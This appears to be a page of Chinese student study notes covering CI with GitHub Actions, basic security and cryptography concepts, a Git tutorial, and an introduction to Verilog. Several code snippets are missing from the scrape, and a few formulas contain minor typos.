还有一种极端的依赖锁定叫做 vendoring。这种方法是将依赖的代码直接复制到项目的源代码中。这样做的好处是,您可以确保您的项目可以在任何情况下构建,即使依赖的项目不再存在,或者依赖的项目发生了变化,甚至可以将自己的修改添加进去。但是这样做也有很多缺点,例如代码冗余,依赖的代码不会自动更新,当开发者更新了一些功能时,你需要自己去拉去这些更新,还可能会导致一些法律问题。
持续集成系统¶
持续集成系统(continous integration systems)是一种自动化的构建系统.
设想这样的场景:你正在开发一个大型项目,你对你的代码修改了一行,接下来,你需要要上传一份新的版本的文档,上传重新编译后的文件到某处,发布代码到pypi,执行测试。
或者你希望当别人提交pull request时,自动运行一些测试,以确保新的代码不会破坏现有的代码。
持续集成系统就是为了解决这些问题而存在的。持续集成系统(aka CI)是一种 雨伞术语(umbrella term,涵盖了一组术语的术语),它指的是“当代码变动时,自动运行的东西”CI 系统通常用于自动化构建、测试和部署流程,以确保代码在提交或合并到版本控制系统时不会破坏现有功能,保证软件质量。
Github Actions就是一个很好的持续集成系统,
是的,GitHub Actions 完全属于 Continuous Integration (CI) 和 Continuous Deployment (CD) 系统的一部分。
GitHub Actions 是 GitHub 提供的一种自动化工具,它允许开发者为他们的项目设置 CI/CD 流程。它可以帮助你自动化代码构建、测试、部署、发布等工作,直接集成在 GitHub 仓库中,因此非常适合 GitHub 用户。
-
可以使用 GitHub Actions 来创建工作流,当某些事件发生(如推送代码、创建拉取请求等)时,自动触发构建、测试和部署流程。
-
GitHub Actions 使用 YAML 文件来定义工作流,通常是
.github/workflows目录下的文件。例如,你可以定义一个 CI 工作流来在每次提交代码后自动运行测试。 -
GitHub Actions 可以与其他服务进行集成,如发送通知、上传文件、部署到云平台等。
-
还可以通过多种事件来触发工作流,包括:
- push:当代码被推送到仓库时触发。
- pull_request:当有拉取请求时触发。
- issue:当创建、修改或关闭一个 issue 时触发。
- schedule:按预定的时间表触发(类似 cron 作业)。
- release:当发布版本时触发。
一个简单的 CI 工作流(在 .github/workflows/ci.yml 文件中):¶
name: CI Workflow
on:
push:
branches:
- main
pull_request:
branches:
- main
jobs:
build:
runs-on: ubuntu-latest
steps:
- name: Checkout code
uses: actions/checkout@v2
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.9
- name: Install dependencies
run: |
python -m pip install --upgrade pip
pip install -r requirements.txt
- name: Run tests
run: |
pytest
在这个示例中,GitHub Actions 会在每次推送或拉取请求到 main 分支时,自动触发以下步骤:
1. 检出代码(actions/checkout@v2)。
2. 设置 Python 环境(actions/setup-python@v2)。
3. 安装项目的依赖。
4. 运行测试。
测试¶
多数的大型软件都有“测试套件”,以下是一些常见的测试方法和测试术语:
- 测试套件(Test suite):所有测试的统称。
- 单元测试(Unit test):一种“微型测试”,用于对某个封装的特性进行测试。
- 集成测试(Integration test):一种“宏观测试”,针对系统的某一大部分进行,测试其不同的特性或组件是否能 协同 工作。
- 回归测试(Regression test):一种实现特定模式的测试,用于保证之前引起问题的 bug 不会再次出现。
- 模拟(Mocking): 使用一个假的实现来替换函数、模块或类型,屏蔽那些和测试不相关的内容。例如,您可能会“模拟网络连接” 或 “模拟硬盘”。
Security and Cryptography¶
约 2287 个字 9 行代码 预计阅读时间 8 分钟
本次lecture主要介绍了一些安全方面的基础知识,进行一些简单但是实用的说明。
熵(ENTROPY)¶
熵是一个系统的不确定性的度量。在密码学中,熵是一个密码系统的随机性的度量。熵越高,密码系统越难破解。
熵的单位是比特(bit)。其大小等于\(\log_2 (n)\),其中\(n\)是密码系统的可能状态数。
比如说投掷一个骰子,那么熵就是\(\log_2 6 = 2.58\) bit。
还有一个信息熵的概念,是一个信源的平均信息量。信息熵越高,信息量越大。
定义为\(H(X) = -\sum_{i=1}^n p(x_i) \log_2 p(x_i)\),其中\(p(x_i)\)是信源输出\(x_i\)的概率。亦即\(\log_2 p_i\)的期望。
散列函数¶
密码散列函数(Cryptographic Hash Function)是一种将任意长度的输入数据映射为固定长度的输出数据的函数。
其大致的规范如下
SHA-1 是 Git 中使用的一种散列函数, 它可以将任意大小的输入映射为一个 160 比特(可被 40 位十六进制数表示)的输出。 可以使用sha1sum命令来计算文件的sha1值。
例如:
如果使用echo "hello",会发现结果居然不一样,这是因为echo会在输出后加上一个换行符。
抽象地讲,散列函数可以被认为是一个不可逆,而且看上去随机的函数,其具有以下的特点
- 确定性: 对于不变的输入永远有相同的输出
- 不可逆性:\(hash(i)=o\),几乎不可能只通过\(o\)来找到\(i\)
- 目标碰撞抵抗性:对于给定的输入,找到一个不同的输入,使得他们的hash值相同,是困难的
- 碰撞抵抗性:即使不要求输入给定,任意寻找两个不同的输入,使得他们的hash值相同,也是困难的(这一性质强于目标碰撞抵抗性)
应用¶
- Git中的内容寻址存储
- 文件的信息摘要:可以用来验证文件的正确性,例如下载镜像文件时,可以通过计算这个文件的hash值,与官网上的hash值进行比对,来验证文件的完整性以及正确性。
- 承诺机制:假设我希望承诺一个值,但之后再透露它—— 比如在没有一个可信的、双方可见的硬币的情况下在我的脑海中公平的“扔一次硬币”。 我可以选择一个值 \(r = random()\),并和你分享它的哈希值 \(h = sha256(r)\)。 这时你可以开始猜硬币的正反:我们一致同意偶数 \(r\) 代表正面,奇数 \(r\) 代表反面。 你猜完了以后,我告诉你值 \(r\) 的内容,得出胜负。同时你可以使用 \(sha256(r)\) 来检查我分享的哈希值 \(h\) 以确认我没有作弊。否则我总是可以随意更改\(r\)的值,来达到作弊的目的。
密钥生成函数¶
密钥生成函数(Key Derivation Function)是一种将输入映射为密钥的函数.被应用于包括生成固定长度,可以使用在其它密码算法中的密钥等方面。为了对抗穷举法goon估计,密钥生成函数通常会比较慢
存贮密码时,不应该存储明文密码,而是存储其hash值。这样即使数据库泄露,也不会泄露用户的密码。但是攻击者们已经拥有了一个庞大的数据库来对应hash值和明文密码(彩虹表),而大多数用户在不同的网站上使用相同的密码,所以攻击者可以通过这个数据库来破解用户的密码。
为了对抗这个问题,可以使用salt。salt是一个随机的字符串,它被添加到密码中,然后再进行hash。这样即使用户使用相同的密码,由于salt不同,hash值也会不同。这样即使攻击者拥有了一个庞大的数据库,也无法通过hash值来破解密码。即salt=random();KDF(password+salt)。在验证登录请求时,使用输入的密码连接存储的盐重新计算哈希值 KDF(input + salt),并与存储的哈希值对比。
对称加密¶
对称加密是一种加密方式,加密和解密使用相同的密钥。对称加密的优点是速度快,缺点是密钥的分发和管理。
其基本过程如下:
- 通过密钥生成函数生成密钥\(key\)
- 使用\(key\)对明文(plaintext,p)进行加密,得到密文(ciphertext,c),即p=en(key,p)
- 使用\(key\)对密文进行解密,得到明文,即p=de(key,c)
很难在没有key的情况下破解密文,明文通过key加密再解密后必须和原明文一致(correctness)。
AES算法是目前常用的一种对称加密系统
非对称加密¶
非对称加密的“非对称”代表在其环境中,使用两个具有不同功能的密钥: 一个是私钥(private key),不向外公布;另一个是公钥(public key),公布公钥不像公布对称加密的共享密钥那样可能影响加密体系的安全性。 非对称加密使用以下几个方法来实现加密/解密(encrypt/decrypt),以及签名/验证(sign/verify):
keygen() -> (public key, private key) (这是一个随机方法)
encrypt(plaintext: array<byte>, public key) -> array<byte> (输出密文)
decrypt(ciphertext: array<byte>, private key) -> array<byte> (输出明文)
sign(message: array<byte>, private key) -> array<byte> (生成签名)
verify(message: array<byte>, signature: array<byte>, public key) -> bool (验证签名是否是由和这个公钥相关的私钥生成的)
非对称的加密/解密方法和对称的加密/解密方法有类似的特征。
信息在非对称加密中使用 公钥 加密, 且输出的密文很难在不知道 私钥 的情况下得出明文。
解密方法 decrypt() 有明显的正确性。 给定密文及私钥,解密方法一定会输出明文: decrypt(encrypt(m, public key), private key) = m。
Note
对称加密好比一道防盗门,只有一把钥匙,只要是有钥匙的人都可以进出,而非对称加密好比是一把锁和钥匙,任何得到这把锁的人都可以锁上,但只有持有钥匙的人才能打开。
非对称加密的应用¶
- PGP 电子邮件加密:用户可以将所使用的公钥在线发布,比如:PGP 密钥服务器或 Keybase。任何人都可以向他们发送加密的电子邮件。
- 聊天加密:像 Signal 和 Keybase 使用非对称密钥来建立私密聊天。
- 软件签名:Git 支持用户对提交(commit)和标签(tag)进行 GPG 签名。任何人都可以使用软件开发者公布的签名公钥验证下载的已签名软件。
密钥分发¶
非对称加密面对的主要挑战是,如何分发公钥并对应现实世界中存在的人或组织。
Signal 的信任模型是,信任用户第一次使用时给出的身份(trust on first use),同时支持用户线下(out-of-band)、面对面交换公钥(Signal 里的 safety number)。
PGP 使用的是 信任网络。简单来说,如果我想加入一个信任网络,则必须让已经在信任网络中的成员对我进行线下验证,比如对比证件。验证无误后,信任网络的成员使用私钥对我的公钥进行签名。这样我就成为了信任网络的一部分。只要我使用签名过的公钥所对应的私钥就可以证明“我是我”。
Keybase 主要使用 社交网络证明 (social proof),和一些别的精巧设计。Keybase 会在你的社交网络中寻找你的朋友,看他们是否已经验证了他们的公钥。如果你的朋友已经验证了他们的公钥,那么你就可以信任他们的公钥。Keybase 也支持用户验证自己的公钥,比如通过在自己的网站上发布验证信息。
密码管理器¶
密码管理器会帮助你对每个网站生成随机且复杂(表现为高熵)的密码,并使用你指定的主密码配合密钥生成函数来对称加密它们。
你只需要记住一个复杂的主密码,密码管理器就可以生成很多复杂度高且不会重复使用的密码。密码管理器通过这种方式降低密码被猜出的可能,并减少网站信息泄露后对其他网站密码的威胁。
例如,1Password 和 LastPass 是两个常用的密码管理器。
2FA¶
2FA 是两步验证(two-factor authentication)的缩写。2FA 通常是指在输入密码之后,还需要提供第二个验证因素,比如手机上的一个应用程序生成的一次性密码,或者通过短信发送的一次性密码。来消除密码泄露或者钓鱼攻击(钓鱼攻击指的是一种通过伪装成可信来源(如银行、社交平台、企业等)来诱骗用户泄露敏感信息)的风险。
Miscellaneous¶
约 1 个字 预计阅读时间不到 1 分钟
Git 版本控制
Git 笔记¶
约 4596 个字 56 行代码 39 张图片 预计阅读时间 17 分钟
作为计科专业的学生,怎么能不会Git呢
git命令比较多,有些命令的意义比较长难以一直记住,在这里推荐一个非常好用的工具tldr,Too long don't read~
安装¶
Windows 用户可以通过Git官网下载安装包进行安装
Linux 用户可以通过以下命令进行安装
macOS 用户可以通过以下命令进行安装
检验是否安装成功¶
在终端中输入以下命令,如果出现版本号,则说明安装成功
git 是怎么工作的
首先,有以下几个概念
-
工作区 (Working Directory): 这是你在本地计算机上看到的文件和目录。你在这里进行文件的添加、修改和删除操作。
-
暂存区 (Staging Area): 当你对工作区中的文件进行修改后,可以使用
git add命令将这些修改添加到暂存区。暂存区是一个临时区域,它是工作区和本地仓库的桥梁,起到缓冲的作用,用于记录即将提交的更改。 -
本地仓库 (Local Repository): 使用
git commit命令将暂存区中的更改提交到本地仓库。提交后,这些更改将被记录在本地仓库的历史记录中。 -
远程仓库 (Remote Repository): 远程仓库是存储在服务器上的 Git 仓库。你可以使用
git push命令将本地仓库中的更改推送到远程仓库,或者使用git pull命令从远程仓库拉取最新的更改。 -
版本库 (Repository): 版本库是 Git 用来保存项目历史记录的地方。它包含了所有提交的记录和项目的所有版本。在本地仓库中,版本库是.git文件夹,在远程仓库中,版本库是远程仓库里面的.git文件夹
本地操作¶
初始化¶
创建一个文件夹,然后进入文件夹,在终端中输入以下命令
这条命令会在当前目录下创建一个.git文件夹,这个文件夹就是版本库
添加文件¶
此时 工作区 中有一个text.txt文件,现在我们想把这个文件添加到 暂存区 中
此时 暂存区 中就多了一个text.txt文件,我们可以使用
来查看此时git的状态
在这里,将文件加入暂存区后,文件就在暂存区中等待我们的提交(Commit)了
常见的 git add 的指令
-
添加单个文件:
例如,添加text.txt文件: -
添加多个文件:
例如,添加file1.txt、file2.txt和file3.txt: -
添加当前目录下的所有文件:
这条命令会将当前目录下的所有更改添加到暂存区。 -
添加特定目录下的所有文件:
例如,添加src目录下的所有文件: -
添加符合特定模式的文件:
这条命令会将当前目录下所有.txt文件添加到暂存区。 -
交互式添加文件:
这条命令会进入交互模式,允许你选择性地添加文件。 -
更新已追踪文件的更改:
这条命令只会添加已追踪文件的更改,不会添加新文件。 -
添加所有更改,包括未追踪文件:
这条命令会将所有更改(包括新文件和删除的文件)添加到暂存区。
这些指令可以帮助你根据不同的需求灵活地将文件添加到 Git 的暂存区中。
提交¶
例如,在上面的例子中,我们可以运行 来进行提交
查看信息
[master (root-commit) f81217a] 添加text.txt文件
1 file changed, 1 insertion(+)
create mode 100644 text.txt
我们可以通过
来查看提交信息
这里展示了完整的提交信息,包括提交的哈希值,提交信息,提交时间,提交者等信息,如果不想要看到这么多信息,可以使用
版本回退¶
设想这样一个场景,你修改了十次文件,然后你发现你修改错了,现在你想要回到你修改前的状态,如果没有git,而你的编辑器又恰好不能一直Ctrl+Z到你修改前的状态,那么你只能手动一个一个的改回去,这显然是非常麻烦的,而git可以轻松的解决这个问题
Git使用git reset 命令来回退版本,git reset 命令有三个参数
- --soft: 回退到某个版本,但是不改变任何东西
- --hard: 回退到某个版本,并丢弃工作区,和暂存区的所有修改内容
- --mixed: 回退到某个版本,保留工作区的修改,丢弃暂存区的修改
接下来我们具体看看它们是怎么工作的,首先我们创建两个文件,并进行两次提交
此时Head指向的是第三次提交,也就是master分支的最新版本,此时工作区有三个文件,暂存区为空
为了方便比对三种不同指令,将这个仓库复制两个副本,分别命名为git_practice1和git_practice2
--soft¶
现在,我们修改text1.txt文件,并进行一次add
现在,使用soft指令回退到第第一次提交
可以看到,工作区没有发生任何变化,但是暂存区发生了变化,我们之前提交的text2和text3文件变成了new file;
同时两次提交都不见了,HEAD指向了第一次提交
soft指令保存所有的更改,仅仅在commmit种有变化,这在处理只想要回退到某个版本,但是不想要丢弃工作区,和暂存区的修改时非常有用
--hard¶
现在,我们进入git_practice1,并进行一次add
使用hard指令回退到第一次提交
可以看到,工作区,暂存区,和提交都发生了变化,工作区,暂存区,和提交都变成了第一次提交的样子
相当于第二次第三次提交以及它们的修改都没有发生过,执行类似于Ctrl+Z的操作
--mixed¶
现在,我们进入git_practice2,并进行一次add,然后使用mixed指令回退到第一次提交
可以看到,暂存区空空如也,而工作区仍然是修改后的样子,相当于进行了修改,但是没有进行任何提交
注意
--Hard会丢弃所有的修改,一定要慎用,一般都推荐使用--soft和--mixed
同时在上面我们也可以发现,使用soft的时候,不会给你任何提示,使用hard会告诉你现在head在哪里,使用mixed会告诉你unstaged changes,也就是未暂存的变化(在上面的例子中是M text.txt),即修改后(Modified)的text.txt文件从暂存区中移除
在实践过程中,可以使用git ls-files来查看暂存区中的文件
可以使用git status来查看工作区,暂存区,和提交的状态
Revert¶
如果仅仅想要撤销某个提交,可以使用git revert命令,它会创建一个新的提交,撤销之前的提交
-n参数表示不进行提交,也就是不生成新的提交,而是直接在当前分支上进行撤销,等待你手动进行提交
如果想要撤销一系列提交,可以使用
例如,我们的提交链是这样的
如果我们想要撤销B和C,可以使用
git diff¶
git diff命令可以用来查看工作区,暂存区,和提交之间的差异,也可以用来比较两个分支之间的差异,以及不同版本文件之间的差异
工作区vs暂存区¶
默认不加任何参数,git diff会显示工作区与暂存区之间的差异
可以发现,工作区中删除了text.txt文件,而暂存区中没有发生变化
这时git diff会显示工作区与暂存区之间的差异,删除了text.txt文件,什么都没有增加
工作区vs提交¶
这条命令会显示当前工作区与指定提交之间的差异
例如,我们运行
可以看到,工作区中添加了text.txt文件,而提交中没有发生变化
暂存区vs提交¶
这条命令会显示暂存区与指定提交之间的差异
例如,我们运行
这时候没有任何差异,因为我们没有把工作区的修改添加到暂存区
我们进行一次add
可以看到,暂存区与提交之间发生了差异,也就是我们添加的text.txt文件
此时运行git ls-files可以看到暂存区中的文件,只包含text2.txt文件
提交vs提交¶
这条命令会显示两个提交之间的差异
例如,我们删除text.txt文件,并进行一次提交后,运行
可以看到,第二次提交与第一次提交之间发生了差异,也就是我们删除的text.txt文件
如果想要查看特定文件在不同提交之间的差异,可以使用
Note
git diff 版本1 版本2,指的是与版本1相比,版本2的变动;HEAD代表当前分支的最新版本,HEAD^代表当前分支的上一版本
例如,我们想要查看text.txt文件在第一次提交和第二次提交之间的差异,可以使用
分支vs分支¶
这条命令会显示两个分支之间的差异
删除文件¶
删除文件有以下几种方式
rm+add:首先使用rm命令删除文件,然后使用add命令将删除的文件添加到暂存区
git rm:直接使用git rm命令删除文件,这个命令会同时将删除的文件添加到暂存区
相当于是rm+add的快捷命令
git rm --cached:这个命令会删除文件,但是不从工作区中删除,而是从暂存区中删除
我们首先在仓库里多创建几个文件,然后测试三条指令
最后我们commit一次,将三个文件从版本库中删除
可以看到删除了三个文件,但是工作区中的text4文件仍然存在(可以使用git diff查看版本差异进一步确认删除的文件)
分支¶
分支是Git中一个非常重要的概念,它允许你在同一个仓库中同时进行多个开发工作。分支的存在使得你可以在不影响主线代码的情况下进行开发、测试和实验。
分支的存在使得多人的协同开发变得容易,可以同时进行多个开发工作,而保持主线的稳定工作;
每个分支都有自己的提交历史,分支之间可以相互合并,也可以相互独立;
创建一个分支,可以使用以下命令
例如,创建一个名为dev的分支
创建之后,可以使用git branch查看所有分支
这里可以看到master和dev两个分支,前面的*表示当前所在的分支,也就是master分支
现在,假设我们要在dev分支上进行一系列开发工作,首先需要切换到dev分支
git switch
使用git checkout命令的时候,可能会存在一些潜在的问题:除了切换分支之外,git checkout还可以用来恢复文件或者目录到之前的某一个状态,比如我们意外修改了某一个文件,可以使用git checkout -- <file_path>来恢复文件(如果暂存区中有,则恢复到暂存区中的文件,否则恢复到上一次提交的文件);而这个时候如果分支名和文件名相同,就会出现歧义,git checkout会默认切换分支而不是恢复文件,为了避免这种情况,可以使用git switch命令来切换分支;
切换之后,可以使用git branch查看当前所在的分支;
现在,我们在dev分支上进行一系列开发工作,添加一系列文件;
在这一过程中,我们的主线上也进行的提交
现在假设dev上的开发以已经完成了,我们想要将dev分支合并到master分支上,可以使用以下命令
意为将dev分支合并到 当前所在分支 (master分支)上,合并之后,如果没有冲突,会自动进行一次commit;
Info
使用git log --oneline --graph可以查看分支合并的过程
实际上,git log有很多参数可以使用
--oneline: 只显示一行提交信息--graph: 显示分支合并的过程--all: 显示所有分支的提交历史--reverse: 逆序显示提交历史--since=<date>: 显示从某个日期开始的提交历史--until=<date>: 显示到某个日期为止的提交历史--author=<pattern>: 显示某个作者的提交历史--grep=<pattern>: 显示包含某个关键字的提交历史
并且可以组合使用,例如git log --oneline --graph --all
merge结束后的分支仍然存在,如果想要删除某个分支,可以使用
注意-d只能删除已经进行过合并的分支,如果想要强制删除某个分支,可以使用
即使用大写的D
分支合并冲突¶
假设不同的开发者同时对同一个文件的同一个地方进行修改,那么合并的时候就会发生冲突,Git会提示你发生了冲突,你需要手动解决冲突
在这一过程中,我首先在分支feat上对main.txt文件进行了修改,然后进行了一次commit,然后切换到master分支,对main.txt文件相同位置进行了修改,然后进行了一次commit;
现在我们试图将feat分支合并到master分支上,会发生冲突;
此时查看main.txt文件,可以看到发生了冲突;
> cat main.txt
main
<<<<<<< HEAD
main line 2 updated after feat
=======
aha~ now is feat!
>>>>>>> feat
运行git diff或者直接查看发生冲突的文件都可以看到冲突;
解决冲突,保留我们想要的内容,然后进行一次commit,解决冲突;
最后我们来看看合并后的的git log
可以看到,master分支的提交历史中包含了feat分支的提交历史;成功合并了feat分支;
Rebase¶
除了使用merge命令进行分支合并,还可以使用rebase命令进行分支合并;
与merge不同,rebase执行完毕后,会将两次分支的提交历史合并成一条线,而不是像溪流一样汇聚在一起;
rebase的工作原理是,找到两个分支的共同祖先,然后从共同祖先开始,将当前分支的提交应用到目标分支上;
为了演示两种不同的合并方式,我创建了两个分支,然后进行了一系列的commit;并把这个仓库复制一遍;
现在有两个分支,分别是main和rbs,共同祖先为merge conflict这一次提交,两个分支各自进行了一次提交,为main 1和rbs 1;
现在,假设我们要把main分支rebase到rbs分支上
这条命令会将merge conflict后,main分支上的提交接在rbs分支上
然后再试试看rebase rbs到main上
可以看到两次的提交记录是不同的;
Note
rebase的中文是"变基",这一含义十分清楚,再某个分支上运行git rebase <branch_name>命令,就是将当前分支的提交历史变基到目标分支上,即从两个分支的共同祖先开始,将当前分支的提交接在目标分支上;
关联远程仓库¶
Git的强大之处在于它能够与远程仓库进行交互,远程仓库可以是一个服务器,也可以是一个云平台,例如GitHub,GitLab,Gitee等,开发者们在自己的电脑上进行开发,然后将代码推送到远程仓库,其他人可以在远程仓库上进行协作;
这里主要介绍如何与GitHub进行交互;
首先注册一个Github账号,然后创建一个仓库;例如创建一个名为test的仓库;
然后使用git remote add <remote_name> <remote_url>命令将本地仓库与远程仓库关联;
或者使用git clone <remote_url>命令将远程仓库克隆到本地;
然后在本地进行一系列操作,例如添加文件,进行commit,然后使用git push <remote_name> <branch_name>命令将本地仓库推送到远程仓库;
这一步实际上是在合并本地仓库和远程仓库;
如果是多人协作,在你push之前,可能别人已经修改过远程仓库,这时候你需要先pull一下,然后再push;
如果pull的时候发生冲突,你需要解决冲突,然后再push;
要想删除远程仓库,可以使用git remote remove <remote_name>
编程语言
Verilog 学习笔记-入门篇¶
约 1011 个字 207 行代码 8 张图片 预计阅读时间 6 分钟
老师不教是吧,自己学
Verilog模块结构¶
Verilog模块大致如下
module name_of_module([端口列表]);
端口信号声明;
参数声明;
---
内部信号说明
assign 语句
底层模块或者门原调用(包括生成模块)
Initial 或 always 语句块
任务和函数定义
specify 块(路径延迟)
endmodule
- 常用语句只有三种
assign语句always语句- 底层模块调用语句
- 三种语句的顺序无关 ,这与C语言很不同
-
除一开始的
module和endmodule必须写之外,其他都是可选的 -
缩进在Verilog中并不重要,它主要使用
begin和end来分割 -
模块名是指电路的名字,由用户指定,最好与文件名一致
-
端口列表 是指电路的输入/输出信号名称列表,信号名由用户指定,各名称用逗号隔开;
-
端口信号声明 是要说明端口信号的输入输出属性、信号的数据类型,以及信号的位宽;输入输出属性有input,output,inout三种,信号的数据类型常用的有wire和reg两种;信号的位宽用[n1:n2]表示;同一类信号之间用逗号隔开;
- 信号位宽不做说明的话默认是1位,信号类型不做说明的话,默认是wire类型的
- 参数声明 要说明参数的名称和初值(例如
parameterreg A = 1'b1)
Example
二选一多路选择器的Verilog描述
边沿D触发器的Verilog描述 四位全加器assign语句¶
assign语句称作连续赋值语句,赋值目标必须是wire型的,wire表示电路间的连线.
基本格式: assign 赋值目标 = 表达式,更硬件地说assign的左边是一个电路的输入,另外一边是另一个电路的输出
例如
- 非:
assgin y = ~a - 与门:
assign y=a&b
特点:之所以称为连续赋值语句是指其总是处于激活状态,只要表达式中的操作数有变化,立即进行计算和赋值.(与连续赋值语句对应的另一种语句称为过程赋值语句)
Verilog具有丰富的表达式运算功能可以用于assign语句
| 操作类型 | 操作符 | 执行的操作 |
|---|---|---|
| 算术 | * |
乘 |
/ |
除 | |
+ |
加 | |
- |
减 | |
% |
取模 | |
** |
求幂 | |
| 逻辑 | ! |
逻辑求反 |
&& |
逻辑与 | |
| | |
逻辑或 | |
| 关系 | > |
大于 |
< |
小于 | |
>= |
大于等于 | |
<= |
小于等于 | |
| 等价 | == |
相等 |
!= |
不等 | |
=== |
case 相等 | |
!== |
case 不等 | |
| 按位 | ~ |
按位求反 |
& |
按位与 | |
| |
按位或 | |
^ |
按位异或 | |
^~或~^ |
按位同或 | |
| 缩减 | & |
缩减与 |
~& |
缩减与非 | |
| |
缩减或 | |
~ | |
缩减或非 | |
^ |
缩减异或 | |
^~或~^ |
缩减同或 | |
| 移位 | >> |
右移 |
<< |
左移 | |
>>> |
算术右移 | |
<<< |
算术左移 | |
| 拼接 | {} |
拼接 |
| 复制 | {n{}} |
复制 |
| 条件 | ?: |
条件 |
需要注意的地方
前面几个比较简单,和C语言基本一样
等价运算符
- 等于和不等于运算的结果可能是1(逻辑真)、0(逻辑假)、x(不确定);对于x或z,认为是不确定的值,比较结果为x;
- case等和case不等的结果只能是1或0,对于x、z认为是确定的值,参加比较;
按位运算符
- 按位运算的操作数是1位或多位二进制数,
- 按位非的操作数只有一个,将该数的每一位求非运算.
- 其它按位运算的操作数有2个或多个,将两个操作数对应的位两两运算;
- 如果操作数位宽不同,位宽小的会自动左添0补齐;
- 结果与操作数位宽相同;
缩减运算符
- 缩减运算的操作数是1位或多位二进制数;
- 缩减运算的操作数只有一个,将该数的各位自左至右进行逻辑运算,结果只有一位.
移位运算符
- 移位运算的操作数是1位或多位二进制数;
- 向左或向右移n位;
- 只有对有符号数的算术右移自动补符号位;
- 其他移位均自动补0.
拼接(拼总线)
- 将多个操作数拼接起来; - 将操作数复制n遍并拼接起来; - 可以组合使用.条件运算符
a?:b:c如果a是1,则返回b,否则返回c;可以嵌套使用
always语句块¶
特点
- always语句本身不是单一的有意义的一条语句,而是和下面的语句一起构成一个语句块,称之为过程块;过程块中的赋值语句称过程赋值语句;
- 该语句块不是总处于激活状态,当满足激活条件时才能被执行,否则被挂起,挂起时即使操作数有变化,也不执行赋值,赋值目标值保持不变;
- 赋值目标必须是reg型的.
Note
激活条件由敏感信号条件表决定,当敏感条件满足时,过程块被激活. 敏感条件有两种,一种是边沿敏感,一种是电平敏感
边沿敏感
posedge信号名:信号上升沿到来negedge信号名:信号下降沿到来
电平敏感
- 信号名列表:信号列表中任一个信号有变化(例如
(a,b,c)或(a or b or c),当三个信号中有一个发生变化)
Example
当CLK上升沿到来时,激活该语句块,将D的值赋给Q; 否则,该语句块挂起,即使D有变化,Q的值也保持不变,直到下一次赋值 . 当D有变化时(不管是由1变0还是由0变1),激活该语句块,将D的值赋给Q; 否则,该语句块挂起,Q的值保持不变,直到下一次赋值.Note
- 过程块中的赋值目标必须是reg型的.
- 由于always语句可以描述边沿变化,在设计时序电路中得到广泛应用.
- always语句中还可以使用if、case、for循环等语句,其功能更加强大.例如
assign语句和always语句的区别
- 连续赋值语句总是处于激活状态,只要操作数有变化马上进行计算和赋值;
- 过程赋值语句只有当激活该过程时,才会进行计算和赋值,如果该过程不被激活,即使操作数发生变化也不会计算和赋值.
- verilog规定
assign中的赋值目标必须是wire型的,而always语句中的赋值目标必须是reg型的. always语句块中如果有多条赋值语句必须将其用beginend包括起来,assign语句中没有beginend
Example
只要D发生变化,马上进行计算和赋值; Q必须是wire型 只有当clk上升沿到来时,才能激活该块语句,才能进行计算和赋值;否则,即使D发生变化也不会计算和赋值.在未被激活时,Q的值保持不变. Q必须是reg型.阻塞赋值和非阻塞赋值
begin end之间的赋值语句有阻塞赋值和非阻塞赋值之分
-
阻塞赋值
对a赋值会阻塞赋值b,即只有当赋值a执行完才能执行赋值b.=:语句顺序执行,前面的执行完才能执行后面的语句; -
非阻塞赋值
对a赋值不会阻塞赋值b,两个语句并行执行<=:所有语句并行执行
Example
当m赋值完成后,才能执行y的赋值,y得到的是m的新值. m和y的赋值并行执行,y得到的是m的旧值.设A、B同时由0变1
激活前:M1=0,M2=0,Q=0激活后:先计算A=1,马上赋值给M1 再计算B&M1=1,马上赋值给M2 再计算M1|M2=1,马上赋值给Q
先计算A=1,(等待,不赋值)
再计算B&M1=0,(等待,不赋值)
再计算M1|M2=0,(等待,不赋值)
过程结束
先赋值给M1=1
再赋值给M2=0
再赋值给Q=0
总结 :
-
阻塞赋值的实质:右边表达式的计算和对左边寄存器变量的赋值是一个统一的原子操作中的两个动作,这两个动作之间不能再插入其他任何动作.
-
非阻塞赋值的实质:首先按顺序计算右边表达式的值,但是并不马上赋值,而是要等到过程结束时再按顺序赋值.
Note
- 设计组合电路时常用阻塞赋值;
- 设计时序电路时常用非阻塞赋值;但不是绝对的.
- 不建议在一个always块中混合使用阻塞赋值和非阻塞赋值
Example
阻塞赋值实现的组合电路
module MY (A,B,C,Y)
input A,B,C;
output Y;
reg Y;
reg M;
always @ (A,B,C)
begin
M=B|C;
Y=A&M;
end
endmodule
assign的)
非阻塞赋值实现的移位寄存器
把assign和always结合起来,举一个4位二进制加法计数器的例子
module CNT4 (CLK,Q);
input CLK;
output [3:0] Q;
reg [3:0] Q1;
always @ (posedge CLK)
begin
Q1<=Q1+1;
end
assign Q=Q1;
endmodule
always和assign两条语句,他们之间是并行的;有一个内部变量Q1,使用时要进行声明;
底层模块调用¶
类似于C语言里面的函数调用,Verilog中也有模块的调用,调用的格式为:底层模块名 例化名 (端口映射);
Example
实现如下电路

先定义好D触发器,然后再设计顶层电路,在顶层电路中可调用底层模块.
然后,在顶层模块中调用 为了调用底层模块,需要加两个内部变量d1和q1,并给两次调用的模块进行命名,调用时例化名不能省略.端口映射
-
端口名关联法(命名法),将模块的端口和调用模块的环境中的变量对应起来, 即(.底层端口名1(外接信号名1),.底层端口名2(外接信号名2),…)
DFF dff1(.CLK(clk),.D(d1),.Q(q1));,这样的方法因为有名字对应,不必按照模块的端口列表排序. -
位置关联法(顺序法):将模块的端口以及要接的外部信号按照模块定义的顺序一一对应起来(外接信号名1,外接信号名2,…)
DFF dff2(q1,d,q);,这样的方法必须严格按照底层模块的端口信号列表顺序书写
门原语调用¶
Verilog 语言语言提供已经设计好的门,称为门原语(primitive,共12个),这些门可直接调用,不用再对其进行功能描述.
门原语调用格式: 门原语名 实例名 (端口连接)
Note
和模块调用不同,实例名可以省略,端口连接只能采用顺序法,输出在前,输入在后.
常见的门原语
-
与门等6个:
and,or,xor,nand,nor,xnor.用法例如and (out,in1,in2,in3···),第一个是输出,后面跟着输入,输入不限制个数 -
非门:
not,用法例如not (OUT,IN) -
缓冲器:
buf,用法例如buf b1_2out(OUT1, OUT2, IN);,前面是输出,最后一个是输入,输出个数不限. -
三态门
- bufif1(控制端1有效缓冲器)
- bufif0 (控制端0有效缓冲器)
- notif1(控制端1有效非门)
- notif0(控制端0有效非门)
- 端口列表中前面是输出,中间是输入,最后是使能端,输出个数不限
Hint
Verilog中的数据类型¶
Verilog中的数据类型分为两大类:net(线网)类和variable(变量)类
Note
